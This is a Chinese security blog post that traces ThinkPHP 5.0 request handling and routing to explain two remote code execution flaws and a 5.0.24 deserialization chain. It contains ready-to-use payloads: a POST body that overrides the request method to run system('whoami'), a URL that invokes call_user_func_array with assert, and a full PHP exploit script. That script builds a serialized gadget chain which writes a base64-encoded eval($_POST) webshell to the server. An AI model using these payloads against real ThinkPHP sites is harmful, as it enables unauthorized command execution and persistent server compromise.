• TP5.0.xRCE&5.0.24反序列化分析


    环境部署

    以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1

    反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1

    目录架构

    根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为application,而think命名空间则代表了文件的其实目录为thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录,如下图所示:

    框架流程

    我们先进入到默认的入口文件(public/index.php)

    // 定义应用目录
    define('APP_PATH', __DIR__ . '/../application/');
    // 加载框架引导文件
    require __DIR__ . '/../thinkphp/start.php';
    

    引入start.php进入到里面看看有什么

    框架引导文件(thinkphp/start.php)

    进入框架引导文件看到两行代码

    // ThinkPHP 引导文件
    // 1. 加载基础文件
    require __DIR__ . '/base.php';
    
    // 2. 执行应用
    App::run()->send();
    

    基础文件(thinkphp/base.php)

    在此文件首先看到全面大段的是定义常量或者是检查常量是否存在,主要是以下几点需要重点注意

    • 将Loader类引入
    • 注册自动加载机制
      • 注册系统自动加载,spl_autoload_register将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。此函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
      • Composer 自动加载支持
      • 注册命名空间定义:think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
      • 加载类库映射文件
      • 自动加载 extend 目录
    • 注册异常处理机制
    • 加载惯例配置

    执行应用(thinkphp/library/think/App.php)

    首先返回一个request实例,将应用初始化返回配置信息。
    之后进行如下的操作:

    • 查看是否存在模块控制器绑定
    • 对于request的实例根据设置的过滤规则进行过滤
    • 加载语言包
    • 监听app_dispatch
    • 进行URL路由检测(routecheck后面细讲)
    • 记录当前调度信息,路由以及请求信息到日志中
    • 请求缓存检查并进行$data = self::exec($dispatch, $config);,根据$dispatch进行不同的调度,返回$data
    • 清除类的实例化
    • 输出数据到客户端,$response = $data;,返回一个Response类实例
    • 调用 Response->send() 方法将数据返回值客户端

    总结

    画个图过一遍整个流程

    根据PATH_INFO进行URL路由检测(App::routeCheck)

    通过$path = $request->path()可以获得到请求的path_info,$depr是定义的分隔符,默认时:/,之后进行路由检测步骤如下

    • 查看是否存在路由缓存,存在就包含
    • 读取应用所在的路由文件,一般默认为route.php
    • 导入路由配置
    • Route::check (根据路由定义返回不同的URL调度)

      • 检查解析缓存
      • 替换分隔符,将"/"换成了"|"
      • 获取当前请求类型的路由规则,由于在之前的Composer 自动加载支持,在vendortopthink/think-captcha/src/helper.php中注册了路由,所以在$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];中的Route::$rules['get']已经存在了相应的路由规则

      • 检测域名部署

      • 检测URL绑定
      • 静态路由规则检查
      • 路由规则检查self::checkRoute($request, $rules, $url, $depr)

        • 检查参数有效性
        • 替换掉路由ext参数
        • 检查分组路由
        • 检查指定特殊路由,例如:__miss____atuo__
        • 检查路由规则checkRule
          • 检查完整规则定义
          • 检查路由的参数分隔符
          • 检查是否完整匹配路由
        • 最终未被匹配路由的进入到self::parseRule('', $miss['route'], $url, $miss['option'])进行处理,这就牵涉到TP对于路由的多种定义
      • 检查是否强制使用路由$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']

      • 路由无效,将自动解析模块的URL地址会进入到Route::parseUrl($path, $depr, $config['controller_auto_search'])
    • 最终将结果记录到调度信息

    总结

    首先看看路由定义:

    定义方式定义格式
    方式1:路由到模块/控制器 (模块/控制器/操作)?额外参数1=值1&额外参数2=值2...  
    方式2:路由到重定向地址 '外部地址'(默认301重定向) 或者 ('外部地址','重定向代码')
    方式3:路由到控制器的方法 '@(模块/控制器/)操作'
    方式4:路由到类的方法 '完整的命名空间类::静态方法' 或者 '完整的命名空间类@动态方法'
    方式5:路由到闭包函数 闭包函数定义(支持参数传入)

    具体链接可以看看这个开发手册

    在画个图过一遍整个路由流程

    漏洞成因

    现在TP的RCE通常将其分成两类:

    • Request类其中变量被覆盖导致RCE
    • 路由控制不严谨导致可以调用任意类致使RCE
    • 反序列化的应用(需要存在反序列化的地方)

    Request类其中变量被覆盖导致RCE

    我们以这个POC为例,进行复现:

    我们正常的代码逻辑已经简单的写在了前文,如有代码执行疑惑请在前文寻找答案。

    下面我们进行漏洞跟踪梳理

    • App:run()进行启动,进行到URL路由检测 self::routeCheck($request, $config)

      • $request->path() 获取到我们自带的兼容模式参数 s
      • 进入路由检测Route::check($request, $path, $depr, $config['url_domain_deploy'])

        • 关键代码$method = strtolower($request->method())进入$request->method()看到在查找$_POST中是否有表单请求类型伪装变量(简单解释一下这个,就是form表单的method只能进行GET和POST请求,如果想进行别的请求例如put、delete可以使用这个伪装变量来进入到相应的路由进行处理)
          • 一个PHP经典可变函数进行相关的调用$this->{$this->method}($_POST),根据POC我们就进入到了 __construct ,这个东西是PHP魔术方法,进入到里面之后就可以将原先的数据覆盖成我们POST上去的数据,最后返回的是POST上去的method=get
      • 最终返回数据如下图所示并且赋值给$dispatch

      • 进入关键代码$data = self::exec($dispatch, $config)

        • 然后再次进入到回调方法中的Request::instance()->param(),继续跟踪到array_walk_recursive($data, [$this, 'filterValue'], $filter),这个函数解释如下:

        • 重要代码跟进,调用call_user_func($filter, $value)将其传入的$filter=system,$value=sysyteminfo

        • 最后返回的需要进行一次过滤,不过大致查看能发现过滤字符基本为SQL注入的过滤,不是RCE的类型

        • 现在再次回到call_user_func($filter, $value)因为最终你传入的是一个数组,第一个是需要执行的类型,后面是为null,因此会报错。
    • 最终进入到 hinkphplibrary hinkexceptionHandle.php的174行,$data['echo'] = ob_get_clean(),获取到前面未被赋值的命令执行的结果,从而随着报错页面一起发送给客户端从而达到回显的目的。

    POC版本测试

    需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他

    5.0~5.0.23(本人只测了0和23的完整版,那么猜测中间的版本也是通杀没有问题)
    POST http://localhost/tp/public/index.php?s=captcha?s=captcha
    
    _method=__construct&filter[]=system&method=GET&get[]=whoami
    
    5.1.x低版本也可行请自行调试寻找
    

    路由控制不严谨导致可以调用任意类致使RCE

    我们以这个POC为例
    http://localhost/tp/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo())

    正常代码逻辑已经梳理,请自行查看前文。
    下面进行漏洞逻辑梳理

    • 进入路由$dispatch = self::routeCheck($request, $config),最终进入Route::parseUrl($path, $depr, $config['controller_auto_search']),通过分隔符替换从而将我们输入的pathinfo信息打散成数组: index|thinkapp|invokefunction,最终返回类似这样的数据

    • 进入$data = self::exec($dispatch, $config); 将前面获得的调度信息传进去

      • 进入$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);
        • 一直跟踪到往下看,这句代码就是为什么我们要在pathinfo中首先要写 index :elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))。这样能保证程序不报错中断并且使 $available=true
        • 分别将模块、控制器、操作将其赋值为我们所输入的 index thinkapp invokefunction
        • 进入Loader::controller进行控制类调用 Loader::getModuleAndClass 使得程序通过 invokeClass 返回我们所输入的类的实例
        • 进入到App::invokeMethod,反射出我们所输入的类的方法信息(ReflectionMethod),绑定我们输入的参数,进入$reflect->invokeArgs(isset($class) ? $class : null, $args)那么就可以调用我们所想调用的函数,参数也相应传入
    • 最后跟前面那个漏洞一样,我们所执行的结果会随着报错输出缓冲区一起显示出来。

    POC版本测试

    因为linux和win的环境不一样导致代码逻辑判断不一样因此需要自行寻找

    5.0.x(具体自行测试)
    http://localhost/tp/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
    
    5.1.x(具体自行测试,适合linux环境)
    http://127.0.0.1/index.php?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

    TP5.0.24反序列化利用链

    先看看PHP的魔术方法

    梳理反序列化利用链漏洞首先需要一个漏洞触发点,别问,问就是自己写:

    我们发现在 thinkphp/library/think/process/pipes/Windows.php 中发现__destruct中存在removeFiles函数,并且在其中存在$this->filesfile_exists,那么我们通过可控的$this->files利用file_exists可以调用一些类的__toString方法,之后查看此方法在抽象类Model(thinkphp/library/think/Model.php),抽象类不能直接调用,因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用

    然后从toJson()->toArray(),我们看到$item[$key] = $value ? $value->getAttr($attr) : null
    其中 $value->getAttr是我们利用__call魔术方法 的点,我们来梳理代码逻辑使之可以顺利执行这句代码。

    • $this->append可以控制,将其变成Model类的getError方法,然后跟进看到此方法存在$this->error,因此可以控制$this->$relation()

    • 进入到 getRelationData 进行一次判断,首先需要进入的是Relation类型的对象,并且要符合这个关键判断$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent) 才能让$value变成我们想要的东西
      • 首先传入的Relation对象是由$this->$relation()控制,我们可以找到HasOne(thinkphp/library/think/model/relation/HasOne.php)这个类是继承抽象类OneToOne(thinkphp/library/think/model/relation/OnToOne.php),然后OneToOne又继承自Relation,所以HasOne有着Relation的血脉才能进入getRelationData方法
      • $this->parent 是我们所要进入的__call魔术方法所在的类,这里我们选择的是Output类(thinkphp/library/think/console/Output)
      • $modelRelation->isSelfRelation() 看到$this->selfRelation,我们可以控制。
      • get_class($modelRelation->getModel()) == get_class($this->parent)),我们需要将最后Query的$this->model写成我们选择的Output类
    • 最后$this->parent赋值给$value,执行代码之后进入到Output类的__call方法

    进入到__call,发现$this->styles我们可以控制那么就可以执行block方法,block调用writeln方法,writeln调用write方法,发现write方法中$this->handle->write($messages, $newline, $type)那么我们可以控制$this->handle,我们将其设置为Memcached类(thinkphp/library/think/session/driver/Mencached.php),然后进入到Memcached->write方法中看到Memcached也存在一个$this->handle,我们将其设置为File类(thinkphp/library/think/cache/driver/File.php)从而进入到File->set方法我们可以看到file_put_contents($filename, $data)其中的两个参数我们都可以控制

    • 首先传入的三个参数已经确定,其中$name,$expire我们可以控制,但是有用的就是$name
    • 发现写入的数据就是我们无法控制的$value,无法利用。我们不慌继续往下看,看到有一个$this->setTagItem($filename)我们看到此方法又调用一次set方法并且传入set的三个值我们都可以控制

    • 再一次进入set方法, 通过php伪协议可以绕过exit()的限制 ,就可以将危害代码写在服务器上了。

    EXP

    从网上找来的EXP,改了改关键的几个点,并且可以实现在Windows写文件

    <?php
    namespace thinkprocesspipes {
        class Windows {
            private $files = [];
    
            public function __construct($files)
            {
                $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
            }
        }
    }
    
    namespace think {
        abstract class Model{
            protected $append = [];
            protected $error = null;
            public $parent;
    
            function __construct($output, $modelRelation)
            {
                $this->parent = $output;  //$this->parent=> thinkconsoleOutput;
                $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
                $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
            }
        }
    }
    
    namespace thinkmodel{
        use thinkModel;
        class Pivot extends Model{
            function __construct($output, $modelRelation)
            {
                parent::__construct($output, $modelRelation);
            }
        }
    }
    
    namespace thinkmodel
    elation{
        class HasOne extends OneToOne {
    
        }
    }
    namespace thinkmodel
    elation {
        abstract class OneToOne
        {
            protected $selfRelation;
            protected $bindAttr = [];
            protected $query;
            function __construct($query)
            {
                $this->selfRelation = 0;
                $this->query = $query;    //$query指向Query
                $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
            }
        }
    }
    
    namespace thinkdb {
        class Query {
            protected $model;
    
            function __construct($model)
            {
                $this->model = $model; //$this->model=> thinkconsoleOutput;
            }
        }
    }
    namespace thinkconsole{
        class Output{
            private $handle;
            protected $styles;
            function __construct($handle)
            {
                $this->styles = ['getAttr'];
                $this->handle =$handle; //$handle->thinksessiondriverMemcached
            }
    
        }
    }
    namespace thinksessiondriver {
        class Memcached
        {
            protected $handler;
    
            function __construct($handle)
            {
                $this->handler = $handle; //$handle->thinkcachedriverFile
            }
        }
    }
    
    namespace thinkcachedriver {
        class File
        {
            protected $options=null;
            protected $tag;
    
            function __construct(){
                $this->options=[
                    'expire' => 3600, 
                    'cache_subdir' => false, 
                    'prefix' => '', 
                    'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                    'data_compress' => false,
                ];
                $this->tag = 'xxx';
            }
    
        }
    }
    
    namespace {
        $Memcached = new thinksessiondriverMemcached(new 	hinkcachedriverFile());
        $Output = new thinkconsoleOutput($Memcached);
        $model = new thinkdbQuery($Output);
        $HasOne = new thinkmodel
    elationHasOne($model);
        $window = new thinkprocesspipesWindows(new thinkmodelPivot($Output,$HasOne));
        echo serialize($window);
        echo base64_encode(serialize($window));
    }
    

    POC效果演示图

    参考链接

    1. https://xz.aliyun.com/search?keyword=thinkphp
    2. https://y4er.com/post/thinkphp5-rce/#method-__contruct%E5%AF%BC%E8%87%B4%E7%9A%84rce-%E5%90%84%E7%89%88%E6%9C%ACpayload
    3. https://www.kancloud.cn/zmwtp/tp5/119422
    4. https://www.anquanke.com/post/id/196364#h2-7
  • 相关阅读:
    含有打印、统计DataGridView(1)
    数字金额转换大写人民币
    文件加密解密全解
    正则表达式之全部符号对照表
    C#程序集引入无效的解决方法
    TreeView 的简单实用
    Win7下用IIS发布网站
    C#做完一个网站怎么发布?
    c# 如何获取项目的根目录
    判断控件是否出现了滚动条
  • 原文地址:https://www.cnblogs.com/0daybug/p/13539012.html
Copyright © 2020-2023  润新知